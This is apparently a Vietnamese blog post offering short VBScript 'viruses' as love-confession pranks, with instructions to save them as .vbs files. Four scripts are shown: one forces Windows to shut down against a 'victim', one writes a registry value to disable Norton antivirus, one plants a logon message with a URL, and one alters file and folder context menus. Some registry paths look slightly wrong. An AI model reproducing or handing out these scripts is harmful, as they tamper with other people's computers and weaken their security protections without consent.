5 Con virus có thể dùng để tỏ tình | Đơn giản

Dưới đây là code của một số con virus nhỏ dưới dạng VBS, bạn có thể thay thế các thông báo tron đó, dùng để tỏ tình cũng ngon đấy :))

1.Không cho victim khởi động máy:

Code:

Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows" 

2. Disable NAV:

Code:

Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD" 

3. Hiển thị một message mỗi khi reboot máy:

Code:

dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Win Logon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "http://tuyetchieu.tk" wsh.RegWrite s1+s3, "Tuyetchieu.tk viet virus don gian" 

4. Hiển thị một dòng lệnh khi click vào file hay folder:

Code:

set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\","Ban da dinh tuyet chieu" 
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da dinh tuyet chieu","I_LOVE_U" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da dinh tuyet chieu","I_LOVE_U" 

Copy vào notepad chọn file - save as  

Lưu file với đuôi .VBS

14:23